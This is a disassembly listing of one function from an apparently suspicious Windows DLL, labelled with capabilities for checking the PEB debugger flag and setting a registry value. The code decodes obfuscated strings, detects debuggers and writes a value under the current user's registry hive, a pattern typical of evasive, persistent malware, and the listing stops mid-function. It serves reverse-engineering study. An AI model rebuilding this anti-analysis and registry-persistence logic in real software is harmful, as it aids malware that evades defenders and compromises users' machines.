Function at 0x180001000
Capabilities:
Check for peb beingdebugged flag
Set registry value

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x428
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3a0], 0xfffffffffffffffe
mov rax, qword [rcx]
cmp byte [rax], 0
mov byte [rax], 0
je 0x1800028a7
mov rax, qword gs:[0x60]
cmp byte [rax + 2], 0
jne 0x1800028c1
mov qword [rsp + 0x20], reloc.WS2_32.dll_listen
lea rdx, str.Ia__2al__b
lea rdi, [0x18012b475]
lea rsi, [rbp + 0x358]
mov r8d, 2
mov rcx, rsi
mov r9, rdi
call fcn.1800050a0
mov qword [rbp + 0xe8], rsi
mov qword [rsp + 0x20], reloc.WS2_32.dll_listen
lea rdx, [0x18012b27a]
lea rsi, [rbp + 0x2e0]
mov r8d, 5
mov rcx, rsi
mov r9, rdi
call fcn.1800050a0
mov qword [rbp + 0x130], rsi
mov qword [rsp + 0x20], reloc.WS2_32.dll_listen
lea rdx, [0x18012b27f]
lea r9, [0x18012b475]
lea rcx, [rbp + 0x2b8]
mov r8d, 8
call fcn.1800050a0
mov rdx, qword [rbp + 0x2b8]
mov r8, qword [rbp + 0x2c8]
lea rcx, [rbp - 0x30]
mov qword [rbp + 0x398], rdx
call fcn.1800ef7b0
cmp byte [rbp - 0x18], 3
jne 0x1800028cd
mov rax, qword [rbp - 0x20]
mov qword [rbp + 0x310], rax
movups xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x300], xmm0
mov qword [rsp + 0x20], reloc.WS2_32.dll_listen
lea rdx, str.KW4F44rsG24ap_:xs_29wp__w_X.9gv:0u73zu___v
lea r9, [0x18012b475]
lea rsi, [rbp + 0x338]
mov r8d, 7
mov rcx, rsi
call fcn.1800050a0
mov qword [rbp + 0x288], rsi
lea rax, [rbp + 0xe8]
mov qword [rbp + 0x150], rax
lea rax, [0x180004320]
mov qword [rbp + 0x158], rax
lea rcx, [rbp + 0x130]
mov qword [rbp + 0x160], rcx
mov qword [rbp + 0x168], rax
lea rcx, [rbp + 0x300]
mov qword [rbp + 0x170], rcx
lea rcx, [0x180003f80]
mov qword [rbp + 0x178], rcx
lea rcx, [rbp + 0x288]
mov qword [rbp + 0x180], rcx
mov qword [rbp + 0x188], rax
lea rax, [0x18012b228]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 5
mov qword [rbp - 0x10], 0
lea rax, [rbp + 0x150]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 4
lea rcx, [rbp + 0x2a0]
lea rdx, [rbp - 0x30]
call fcn.18010f2a0
mov rdx, qword [rbp + 0x340]
test rdx, rdx
je 0x180001205
mov rcx, qword [rbp + 0x338]
mov r8d, 1
call fcn.1800059f0
mov rdx, qword [rbp + 0x308]
test rdx, rdx
je 0x180001223
mov rcx, qword [rbp + 0x300]
mov r8d, 1
call fcn.1800059f0
mov rdx, qword [rbp + 0x2c0]
test rdx, rdx
je 0x180001241
mov r8d, 1
mov rcx, qword [rbp + 0x398]
call fcn.1800059f0
mov rdx, qword [rbp + 0x2e8]
test rdx, rdx
je 0x18000125f
mov rcx, qword [rbp + 0x2e0]
mov r8d, 1
call fcn.1800059f0
mov rdx, qword [rbp + 0x360]
test rdx, rdx
je 0x18000127d
mov rcx, qword [rbp + 0x358]
mov r8d, 1
call fcn.1800059f0
movups xmm0, xmmword [rbp + 0x2a0]
movaps xmmword [rbp + 0x130], xmm0
mov rax, qword [rbp + 0x2b0]
mov qword [rbp + 0x140], rax
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x130]
call fcn.18010fa10
lea rcx, [rbp + 0x150]
lea rdx, [rbp - 0x30]
call fcn.1800fc890
movups xmm0, xmmword [rbp + 0x150]
movups xmm1, xmmword [rbp + 0x160]
movaps xmmword [rbp + 0x2f0], xmm1
movaps xmmword [rbp + 0x2e0], xmm0
mov qword [rsp + 0x20], reloc.WS2_32.dll_listen
lea rdx, [0x18012b2a7]
lea r9, [0x18012b475]
lea rcx, [rbp + 0x150]
mov r8d, 5
call fcn.1800050a0
mov rsi, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rbp + 0x2e0]
mov rdx, rsi
call fcn.1800f40e0
mov rdx, qword [rbp + 0x158]
test rdx, rdx
je 0x180001335
mov r8d, 1
mov rcx, rsi
call fcn.1800059f0
mov qword [rsp + 0x20], reloc.WS2_32.dll_listen
lea rdx, [0x18012b2ac]
lea r9, [0x18012b475]
lea rcx, [rbp + 0x150]
mov r8d, 9
call fcn.1800050a0
mov rsi, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rbp + 0x2e0]
mov rdx, rsi
call fcn.1800f40e0
mov rdx, qword [rbp + 0x158]
test rdx, rdx
je 0x180001395
mov r8d, 1
mov rcx, rsi
call fcn.1800059f0
mov qword [rsp + 0x20], reloc.WS2_32.dll_listen
lea rdx, [0x18012b2b5]
lea r9, [0x18012b475]
lea rcx, [rbp + 0x150]
mov r8d, listen
call fcn.1800050a0
mov rsi, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rbp + 0x2e0]
mov rdx, rsi
call fcn.1800f40e0
mov rdx, qword [rbp + 0x158]
test rdx, rdx
je 0x1800013f5
mov r8d, 1
mov rcx, rsi
call fcn.1800059f0
mov rdi, qword [rbp + 0x2e0]
mov rsi, qword [rbp + 0x2f0]
test rsi, rsi
je 0x18000143c
js 0x180002a1e
movzx eax, byte [0x1801ed229]
mov edx, 1
mov rcx, rsi
call fcn.1800059e0
mov rbx, rax
test rax, rax
jne 0x180001441
mov ecx, 1
mov rdx, rsi
call fcn.180128dd0
jmp 0x180002a70
mov ebx, 1
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
movzx eax, byte [rbp + 0x2f8]
mov qword [rbp + 0x300], rbx
mov qword [rbp + 0x308], rsi
mov qword [rbp + 0x310], rsi
mov byte [rbp + 0x318], al
mov qword [rsp + 0x20], reloc.WS2_32.dll_listen
lea rdx, [0x18012b2c0]
lea r9, [0x18012b475]
lea rcx, [rbp + 0x150]
mov r8d, send
call fcn.1800050a0
mov rsi, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rbp + 0x300]
mov rdx, rsi
call fcn.1800f40e0
mov rdx, qword [rbp + 0x158]
test rdx, rdx
je 0x1800014d1
mov r8d, 1
mov rcx, rsi
call fcn.1800059f0
mov rdi, qword [rbp + 0x2e0]
mov rsi, qword [rbp + 0x2f0]
test rsi, rsi
je 0x180001518
js 0x180002a25
movzx eax, byte [0x1801ed229]
mov edx, 1
mov rcx, rsi
call fcn.1800059e0
mov rbx, rax
test rax, rax
jne 0x18000151d
mov ecx, 1
mov rdx, rsi
call fcn.180128dd0
jmp 0x180002a70
mov ebx, 1
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
movzx eax, byte [rbp + 0x2f8]
mov qword [rbp + 0x2b8], rbx
mov qword [rbp + 0x2c0], rsi
mov qword [rbp + 0x2c8], rsi
mov byte [rbp + 0x2d0], al
mov qword [rsp + 0x20], reloc.WS2_32.dll_listen
lea rdx, [0x18012b2d1]
lea r9, [0x18012b475]
lea rcx, [rbp + 0x150]
mov r8d, 9
call fcn.1800050a0
mov rsi, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rbp + 0x2b8]
mov rdx, rsi
call fcn.1800f40e0
mov rdx, qword [rbp + 0x158]
test rdx, rdx
je 0x1800015ad
mov r8d, 1
mov rcx, rsi
call fcn.1800059f0
mov qword [rsp + 0x20], reloc.WS2_32.dll_listen
lea rdx, [0x18012b2da]
lea r9, [0x18012b475]
lea rcx, [rbp + 0x338]
mov r8d, WSACleanup
call fcn.1800050a0
mov rax, qword [rbp + 0x338]
mov qword [rbp + 0x398], rax
mov rbx, qword [rbp + 0x348]
lea rcx, [rbp + 0x2b8]
call fcn.1800fc8b0
mov r8, rdx
lea rcx, [rbp + 0x150]
mov rdx, rax
call fcn.1800efcf0
cmp qword [rbp + 0x150], 0
jne 0x180002913
mov rsi, qword [rbp + 0x158]
mov rdi, qword [rbp + 0x160]
lea rcx, [rbp + 0x150]
mov rdx, qword [rbp + 0x398]
mov r8, rbx
call fcn.180009d60
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x150]
call fcn.18000bf90
cmp dword [rbp - 0x30], 3
jne 0x180002930
lea rdx, [rbp - 0x28]
lea rbx, [rbp + 0x150]
mov r8d, pe_nt_image_headers64
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rbx
call fcn.18000eb70
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
lea rcx, [rbp + 0x150]
call fcn.1800efd40
lea rcx, [rbp + 0x150]
mov dl, 1
call fcn.1800efd70
mov rcx, rax
mov dl, 1
call fcn.1800efd90
mov rcx, rax
mov dl, 1
call fcn.1800efd80
mov rcx, rax
mov rdx, rsi
mov r8, rdi
call fcn.1800efda0
test rax, rax
jne 0x180002975
mov qword [rbp + 0x358], rdx
lea rcx, [rbp + 0x150]
lea rdx, [rbp - 0x30]
lea r8, [rbp + 0x358]
call fcn.180004380
cmp qword [rbp + 0x150], 0
je 0x180001760
mov rax, qword [rbp + 0x158]
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x180001760
test rcx, rcx
je 0x180001760
lea rcx, [rax - 1]
mov qword [rbp + 0x388], rcx
mov rcx, qword [rax - 1]
mov rax, qword [rax + 7]
mov qword [rbp + 0x378], rcx
mov qword [rbp + 0x380], rax
call qword [rax]
mov rax, qword [rbp + 0x380]
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x180001749
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp + 0x378]
call fcn.1800059f0
mov edx, 0x18
mov r8d, 8
mov rcx, qword [rbp + 0x388]
call fcn.1800059f0
mov rcx, qword [rbp + 0x358]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x30]
mov rax, qword [rbp - 0x28]
mov qword [rbp + 0x380], rcx
mov qword [rbp + 0x388], rax
call qword [rax]
mov rax, qword [rbp + 0x388]
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x1800017a5
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp + 0x380]
call fcn.1800059f0
mov rdx, qword [rbp + 0x340]
test rdx, rdx
je 0x1800017c3
mov r8d, 1
mov rcx, qword [rbp + 0x398]
call fcn.1800059f0
mov qword [rsp + 0x20], reloc.WS2_32.dll_listen
lea rdx, [0x18012b368]
lea r9, [0x18012b475]
lea rcx, [rbp - 0x30]
mov r8d, 0x28
call fcn.1800050a0
mov rdi, qword [rbp + 0x300]
mov rsi, qword [rbp + 0x310]
test rsi, rsi
je 0x180001837
js 0x180002a2c
movzx eax, byte [0x1801ed229]
mov edx, 1
mov rcx, rsi
call fcn.1800059e0
mov rbx, rax
test rax, rax
jne 0x18000183c
mov byte [rbp + 0x397], 1
mov ecx, 1
mov rdx, rsi
call fcn.180128dd0
jmp 0x180002a70
mov ebx, 1
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
movzx eax, byte [rbp + 0x318]
mov qword [rbp + 0x150], rbx
mov qword [rbp + 0x158], rsi
mov qword [rbp + 0x160], rsi
mov byte [rbp + 0x168], al
mov byte [rbp + 0x397], 0
lea rcx, [rbp + 0x338]
lea rdx, [rbp - 0x30]
lea r8, [rbp + 0x150]
call fcn.180004020
cmp qword [rbp + 0x338], 0
jne 0x1800029ac
mov rsi, qword [rbp + 0x2b8]
mov rdi, qword [rbp + 0x2c8]
test rdi, rdi
je 0x1800018df
js 0x180002a3a
movzx eax, byte [0x1801ed229]
mov edx, 1
mov rcx, rdi
call fcn.1800059e0
mov rbx, rax
test rax, rax
jne 0x1800018e4
mov ecx, 1
mov rdx, rdi
call fcn.180128dd0
jmp 0x180002a70
mov ebx, 1
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
movzx eax, byte [rbp + 0x2d0]
mov qword [rbp + 0x388], rbx
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rdi
mov qword [rbp + 0x398], rdi
mov qword [rbp - 0x20], rdi
mov byte [rbp - 0x18], al
lea rcx, [rbp + 0x2b8]
call fcn.1800fc8b0
mov r8, rdx
lea rcx, [rbp + 0x288]
mov rdx, rax
call fcn.1800fcaf0
mov rax, qword [rbp + 0x288]
mov rcx, qword [rbp + 0x290]
test rax, rax
mov qword [rbp + 0x128], rax
mov qword [rbp + 0x380], rcx
cmove rax, rcx
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x298]
mov qword [rbp + 0x120], rax
mov qword [rsp + 0x20], reloc.WS2_32.dll_listen
lea rdx, str._9t___
lea r9, [0x18012b475]
lea rcx, [rbp + 0x2a0]
mov r8d, 4
call fcn.1800050a0
mov qword [rsp + 0x20], reloc.WS2_32.dll_listen
lea rdx, [0x18012b3ac]
lea r9, [0x18012b475]
lea rcx, [rbp + 0x358]
mov r8d, 4
call fcn.1800050a0
mov rax, qword [rbp + 0x358]
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x368]
mov qword [rbp + 0x380], rax
mov qword [rbp + 0x338], 1
xorps xmm0, xmm0
movups xmmword [rbp + 0x340], xmm0
lea rcx, [rbp + 0x150]
lea rdx, [rbp + 0x2a0]
mov r8, qword [rbp + 0x270]
mov r9, qword [rbp + 0x120]
call fcn.18010fa90
mov rax, qword [rbp + 0x150]
mov qword [rbp + 0xf0], rax
mov rax, qword [rbp + 0x158]
mov qword [rbp + 0x398], rax
mov rcx, qword [rbp + 0x168]
mov rdi, qword [rbp + 0x170]
mov r12, qword [rbp + 0x178]
mov r13, qword [rbp + 0x188]
mov r15, qword [rbp + 0x198]
mov rbx, qword [rbp + 0x1a0]
mov r14, qword [rbp + 0x1a8]
mov rsi, qword [rbp + 0x1b0]
mov eax, ecx
shr eax, 0x10
mov dword [rbp + 0x374], eax
lea rax, [rsi - 1]
mov qword [rbp + 0x378], rax
mov rax, rcx
mov qword [rbp + 0x330], rcx
and rax, 0xffffffffff00ff00
mov qword [rbp + 0xf8], rax
lea rax, [r14 - 1]
mov qword [rbp + 0x100], rax
mov eax, 1
mov qword [rbp + 0x268], rax
xor eax, eax
xor ecx, ecx
mov qword [rbp + 0x388], rcx
mov qword [rbp + 0x278], rdi
jmp 0x180001b15
mov r13, qword [rbp + 0x118]
mov rax, qword [rbp + 0x338]
mov qword [rbp + 0x268], rax
lea rcx, [rax + r9]
mov rdx, qword [rbp + 0x280]
mov r8, qword [rbp + 0x380]
mov rdi, r9
call sub.VCRUNTIME140.dll_memcpy
mov rax, rdi
add rax, qword [rbp + 0x380]
mov qword [rbp + 0x348], rax
mov rcx, qword [rbp + 0x2d8]
mov qword [rbp + 0x388], rcx
mov rdi, qword [rbp + 0x278]
mov qword [rbp + 0x328], rax
cmp qword [rbp + 0xf0], 0
je 0x180001c90
mov rax, qword [rbp + 0x378]
add rax, r12
cmp rax, rbx
jae 0x18000206d
movzx ecx, byte [rbp + 0x374]
shl rcx, 0x10
movzx edx, byte [rbp + 0x330]
or rdx, qword [rbp + 0xf8]
or rdx, rcx
cmp r13, 0xffffffffffffffff
je 0x180001cd0
mov r8, rsi
sub r8, rdx
mov r9d, 1
sub r9, qword [rbp + 0x398]
movzx eax, byte [r15 + rax]
bt rdi, rax
jb 0x180001bbe
add r12, rsi
mov rax, qword [rbp + 0x378]
add rax, r12
cmp rax, rbx
jae 0x18000206d
nop word [rax + rax]
movzx ecx, byte [r15 + rax]
bt rdi, rcx
jb 0x180001bbb
add r12, rsi
add rax, rsi
cmp rax, rbx
jb 0x180001ba0
jmp 0x18000206d
xor r13d, r13d
mov rcx, qword [rbp + 0x398]
cmp rcx, r13
mov rax, r13
cmova rax, rcx
cmp rax, rsi
jae 0x180001c00
lea r10, [r15 + r12]
mov rcx, rax
nop dword [rax + rax]
lea r11, [r12 + rcx]
cmp r11, rbx
jae 0x180002886
movzx r11d, byte [r14 + rcx]
cmp r11b, byte [r10 + rcx]
jne 0x180001c60
inc rcx
cmp rsi, rcx
jne 0x180001be0
mov rcx, qword [rbp + 0x398]
nop word [rax + rax]
cmp r13, rcx
jae 0x180001db0
dec rcx
cmp rcx, rsi
jae 0x180002059
lea rax, [rcx + r12]
cmp rax, rbx
jae 0x180002868
movzx r10d, byte [r14 + rcx]
cmp r10b, byte [r15 + rax]
je 0x180001c10
add r12, rdx
mov r13, r8
mov rax, qword [rbp + 0x378]
add rax, r12
cmp rax, rbx
jb 0x180001b76
jmp 0x18000206d
add r12, r9
add r12, rcx
xor r13d, r13d
mov rax, qword [rbp + 0x378]
add rax, r12
cmp rax, rbx
jb 0x180001b76
jmp 0x18000206d
cmp byte [rbp + 0x374], 0
jne 0x18000206d
mov rax, rbx
mov rdi, qword [rbp + 0x398]
test rdi, rdi
je 0x180001de0
mov rax, rbx
sub rax, rdi
jbe 0x180001dda
cmp byte [r15 + rdi], 0xc0
jge 0x180001de0
jmp 0x180002a4f
mov r10, qword [rbp + 0x398]
lea rcx, [r10 - 1]
cmp rcx, rsi
setb r8b
mov r9, qword [rbp + 0x100]
add r9, r10
jmp 0x180001d06
add r12, rsi
mov rax, qword [rbp + 0x378]
add rax, r12
cmp rax, rbx
jae 0x18000206d
movzx eax, byte [r15 + rax]
bt rdi, rax
jae 0x180001cf0
cmp qword [rbp + 0x398], rsi
jae 0x180001d53
mov rax, r12
not rax
lea r10, [r15 + r12]
mov r11, qword [rbp + 0x398]
nop dword [rax + rax]
lea rdi, [r12 + r11]
cmp rdi, rbx
jae 0x18000287f
movzx edi, byte [r14 + r11]
cmp dil, byte [r10 + r11]
jne 0x180001d98
inc r11
dec rax
cmp rsi, r11
jne 0x180001d30
test r8b, 1
je 0x180002044
lea rax, [rcx + r12]
mov r10, r9
mov r11, qword [rbp + 0x398]
nop dword [rax + rax]
sub r11, 1
jb 0x180001dc0
cmp rax, rbx
jae 0x180002868
movzx edi, byte [r10]
dec r10
lea r13, [rax - 1]
cmp dil, byte [r15 + rax]
mov rax, r13
je 0x180001d70
add r12, rdx
jmp 0x180001d9e
neg rax
mov r12, rax
mov rdi, qword [rbp + 0x278]
jmp 0x180001cf3
xor r13d, r13d
jmp 0x180001dc7
mov r13, 0xffffffffffffffff
lea rax, [r12 + rsi]
mov rdi, r12
mov qword [rbp + 0x2d8], rax
mov r12, rax
jmp 0x180001e3a
jne 0x180002a4f
test rax, rax
je 0x180001e05
movzx edx, byte [r15 + rdi]
movzx ecx, dl
test cl, cl
js 0x180001e46
mov eax, ecx
cmp byte [rbp + 0x330], 0
jne 0x180001eaa
jmp 0x180001f9e
cmp byte [rbp + 0x330], 0
je 0x18000206d
mov rax, qword [rbp + 0x330]
xor al, 1
mov qword [rbp + 0x330], rax
mov dword [rbp + 0x374], 0
mov rdi, qword [rbp + 0x398]
mov qword [rbp + 0x2d8], rdi
mov r9, qword [rbp + 0x328]
jmp 0x180001ed9
mov eax, ecx
and eax, 0x1f
movzx r8d, byte [r15 + rdi + 1]
and r8d, 0x3f
cmp cl, 0xe0
jb 0x180001e97
movzx ecx, byte [r15 + rdi + 2]
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
cmp dl, 0xf0
jb 0x180001f8c
movzx edx, byte [r15 + rdi + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and edx, 0x3f
or edx, ecx
or eax, edx
cmp byte [rbp + 0x330], 0
jne 0x180001eaa
jmp 0x180001f9e
shl eax, 6
or eax, r8d
cmp byte [rbp + 0x330], 0
je 0x180001f9e
mov r9, qword [rbp + 0x328]
mov rax, qword [rbp + 0x330]
xor al, 1
mov qword [rbp + 0x330], rax
mov dword [rbp + 0x374], 0
mov qword [rbp + 0x398], rdi
mov qword [rbp + 0x2d8], rdi
sub rdi, qword [rbp + 0x388]
mov rax, qword [rbp + 0x340]
sub rax, r9
cmp rax, rdi
mov qword [rbp + 0x118], r13
jae 0x180001f20
lea rcx, [rbp + 0x338]
mov rdx, r9
mov r8, rdi
call fcn.180125af0
mov rcx, qword [rbp + 0x338]
mov r9, qword [rbp + 0x348]
jmp 0x180001f27
mov rcx, qword [rbp + 0x268]
mov rdx, qword [rbp + 0x388]
add rdx, qword [rbp + 0x270]
add rcx, r9
mov r8, rdi
mov r13, r9
call sub.VCRUNTIME140.dll_memcpy
mov r9, r13
add r9, rdi
mov qword [rbp + 0x348], r9
mov rax, qword [rbp + 0x340]
sub rax, r9
mov r8, qword [rbp + 0x380]
cmp rax, r8
jae 0x180001ac0
lea rcx, [rbp + 0x338]
mov rdx, r9
call fcn.180125af0
mov r13, qword [rbp + 0x118]
mov r9, qword [rbp + 0x348]
jmp 0x180001ac7
shl eax, 0xc
or eax, ecx
cmp byte [rbp + 0x330], 0
jne 0x180001eaa
cmp eax, 0x110000
je 0x18000206d
mov edi, 1
cmp eax, 0x80
jb 0x180001fcf
mov edi, 2
cmp eax, 0x800
jb 0x180001fcf
cmp eax, 0x10000
mov edi, 4
sbb rdi, 0
mov rax, rbx
add rdi, qword [rbp + 0x398]
je 0x180001ff5
mov rax, rbx
sub rax, rdi
jbe 0x180001fef
cmp byte [r15 + rdi], 0xbf
jg 0x180001ff5
jmp 0x180002a48
jne 0x180002a48
test rax, rax
mov r9, qword [rbp + 0x328]
je 0x18000201e
movzx eax, byte [r15 + rdi]
mov cl, 1
mov qword [rbp + 0x330], rcx
test al, al
jns 0x180001eb1
cmp al, 0xe0
jmp 0x180001eb1
mov dword [rbp + 0x374], 0
mov qword [rbp + 0x398], rdi
mov qword [rbp + 0x2d8], rdi
xor eax, eax
mov qword [rbp + 0x330], rax
jmp 0x180001ed9
mov r13, 0xffffffffffffffff
cmp qword [rbp + 0x398], 0
je 0x180001dc7
lea r8, [0x18012b108]
mov rdx, rsi
call fcn.180129080
jmp 0x180002a70
mov rsi, qword [rbp + 0x120]
sub rsi, qword [rbp + 0x388]
mov rax, qword [rbp + 0x340]
mov r9, qword [rbp + 0x328]
sub rax, r9
cmp rax, rsi
jae 0x1800020b9
lea rcx, [rbp + 0x338]
mov rdx, r9
mov rdi, rsi
mov r8, rsi
call fcn.180125af0
mov rcx, qword [rbp + 0x338]
mov r9, qword [rbp + 0x348]
mov rsi, rdi
jmp 0x1800020c0
mov rcx, qword [rbp + 0x268]
mov rdx, qword [rbp + 0x270]
add rdx, qword [rbp + 0x388]
add rcx, r9
mov r8, rsi
mov rdi, r9
call sub.VCRUNTIME140.dll_memcpy
add rdi, rsi
mov qword [rbp + 0x160], rdi
movups xmm0, xmmword [rbp + 0x338]
movaps xmmword [rbp + 0x150], xmm0
mov byte [rbp + 0x396], 0
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x150]
call fcn.1800040e0
test rax, rax
je 0x180002180
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x180002180
test rcx, rcx
je 0x180002180
mov rcx, rax
dec rcx
mov qword [rbp + 0x398], rcx
mov rcx, qword [rax - 1]
mov rax, qword [rax + 7]
mov qword [rbp + 0x380], rcx
mov qword [rbp + 0x388], rax
call qword [rax]
mov rax, qword [rbp + 0x388]
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x180002169
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp + 0x380]
call fcn.1800059f0
mov edx, 0x18
mov r8d, 8
mov rcx, qword [rbp + 0x398]
call fcn.1800059f0
mov rdx, qword [rbp + 0x360]
test rdx, rdx
je 0x18000219e
mov r8d, 1
mov rcx, qword [rbp + 0x280]
call fcn.1800059f0
mov rdx, qword [rbp + 0x2a8]
test rdx, rdx
je 0x1800021bc
mov rcx, qword [rbp + 0x2a0]
mov r8d, 1
call fcn.1800059f0
mov rcx, qword [rbp + 0x128]
test rcx, rcx
je 0x1800021df
mov rdx, qword [rbp + 0x290]
test rdx, rdx
je 0x1800021df
mov r8d, 1
call fcn.1800059f0
mov rdi, qword [rbp + 0x300]
mov rsi, qword [rbp + 0x310]
test rsi, rsi
je 0x180002226
js 0x180002a41
movzx eax, byte [0x1801ed229]
mov edx, 1
mov rcx, rsi
call fcn.1800059e0
mov rbx, rax
test rax, rax
jne 0x18000222b
mov ecx, 1
mov rdx, rsi
call fcn.180128dd0
jmp 0x180002a70
mov ebx, 1
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
movzx eax, byte [rbp + 0x318]
mov qword [rbp + 0x338], rbx
mov qword [rbp + 0x340], rsi
mov qword [rbp + 0x348], rsi
mov byte [rbp + 0x350], al
lea rcx, [rbp + 0x338]
call fcn.1800fc8b0
mov r8, rdx
lea rcx, [rbp + 0x150]
mov rdx, rax
call fcn.1800efcf0
cmp qword [rbp + 0x150], 0
jne 0x1800029ea
mov rsi, qword [rbp + 0x158]
mov rdi, qword [rbp + 0x160]
mov qword [rsp + 0x20], reloc.WS2_32.dll_listen
lea rdx, [0x18012b438]
lea r9, [0x18012b475]
lea rcx, [rbp + 0x358]
mov r8d, 0x31
call fcn.1800050a0
mov rdx, qword [rbp + 0x358]
mov r8, qword [rbp + 0x368]
lea rcx, [rbp + 0x150]
mov qword [rbp + 0x398], rdx
call fcn.1800fcee0
movups xmm0, xmmword [rbp + 0x150]
movups xmm1, xmmword [rbp + 0x160]
movaps xmmword [rbp - 0x20], xmm1
movaps xmmword [rbp - 0x30], xmm0
lea rcx, [rbp - 0x30]
call fcn.1800fc8b0
add rdx, rax
mov qword [rbp + 0x150], rax
mov qword [rbp + 0x158], rdx
mov word [rbp + 0x160], 0
mov dword [rbp + 0x168], 1
lea rcx, [rbp + 0x288]
lea rdx, [rbp + 0x150]
call fcn.1800053a0
mov rdx, qword [rbp - 0x28]
test rdx, rdx
je 0x18000234d
mov rcx, qword [rbp - 0x30]
mov r8d, 1
call fcn.1800059f0
mov rdx, qword [rbp + 0x360]
test rdx, rdx
je 0x18000236b
mov r8d, 1
mov rcx, qword [rbp + 0x398]
call fcn.1800059f0
mov qword [rsp + 0x20], reloc.WS2_32.dll_listen
lea rdx, [0x18012b469]
lea r9, [0x18012b475]
lea rcx, [rbp + 0x358]
mov r8d, listen
call fcn.1800050a0
mov rdx, qword [rbp + 0x358]
mov r8, qword [rbp + 0x368]
lea rcx, [rbp + 0x150]
mov qword [rbp + 0x398], rdx
call fcn.1800fcee0
movups xmm0, xmmword [rbp + 0x150]
movups xmm1, xmmword [rbp + 0x160]
movaps xmmword [rbp - 0x20], xmm1
movaps xmmword [rbp - 0x30], xmm0
lea rcx, [rbp - 0x30]
call fcn.1800fc8b0
add rdx, rax
mov qword [rbp + 0x150], rax
mov qword [rbp + 0x158], rdx
mov word [rbp + 0x160], 0
mov dword [rbp + 0x168], 1
lea rcx, [rbp + 0x2a0]
lea rdx, [rbp + 0x150]
call fcn.1800053a0
mov rdx, qword [rbp - 0x28]
test rdx, rdx
je 0x180002423
mov rcx, qword [rbp - 0x30]
mov r8d, 1
call fcn.1800059f0
mov rdx, qword [rbp + 0x360]
test rdx, rdx
je 0x180002441
mov r8d, 1
mov rcx, qword [rbp + 0x398]
call fcn.1800059f0
lea rcx, [rbp + 0x150]
mov rdx, rsi
mov r8, rdi
call fcn.1800fcee0
movups xmm0, xmmword [rbp + 0x150]
movups xmm1, xmmword [rbp + 0x160]
movaps xmmword [rbp - 0x20], xmm1
movaps xmmword [rbp - 0x30], xmm0
lea rdi, [rbp - 0x30]
mov rcx, rdi
call fcn.1800fc8b0
add rdx, rax
mov qword [rbp + 0x150], rax
mov qword [rbp + 0x158], rdx
mov word [rbp + 0x160], 0
mov dword [rbp + 0x168], 1
lea rcx, [rbp + 0x358]
lea rbx, [rbp + 0x150]
mov rdx, rbx
call fcn.1800053a0
mov rdx, qword [rbp - 0x28]
test rdx, rdx
je 0x1800024c7
mov rcx, qword [rbp - 0x30]
mov r8d, 1
call fcn.1800059f0
mov qword [rbp + 0x150], 0
mov dword [rbp - 0x30], 0
mov rsi, qword [rbp + 0x288]
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], 0
mov rcx, 0xffffffff80000001
mov rdx, rsi
xor r8d, r8d
xor r9d, r9d
call sub.ADVAPI32.dll_RegCreateKeyExW
mov rcx, qword [rbp + 0x150]
mov rdi, qword [rbp + 0x2a0]
mov rbx, qword [rbp + 0x358]
mov eax, dword [rbp + 0x368]
add eax, eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov rdx, rdi
xor r8d, r8d
mov r9d, 1
call sub.ADVAPI32.dll_RegSetValueExW
mov rcx, qword [rbp + 0x150]
call sub.ADVAPI32.dll_RegCloseKey
mov rdx, qword [rbp + 0x360]
test rdx, rdx
je 0x180002578
add rdx, rdx
mov r8d, 2
mov rcx, rbx
call fcn.1800059f0
mov rdx, qword [rbp + 0x2a8]
test rdx, rdx
je 0x180002595
add rdx, rdx
mov r8d, 2
mov rcx, rdi
call fcn.1800059f0
mov rdx, qword [rbp + 0x290]
test rdx, rdx
je 0x1800025b2
add rdx, rdx
mov r8d, 2
mov rcx, rsi
call fcn.1800059f0
mov rdx, qword [rbp + 0x340]
test rdx, rdx
je 0x1800025d0
mov rcx, qword [rbp + 0x338]
mov r8d, 1
call fcn.1800059f0
mov qword [rsp + 0x20], reloc.WS2_32.dll_listen
lea rdx, str.Ia_vOH__zh_C_Y__gz:f__
lea r9, [0x18012b475]
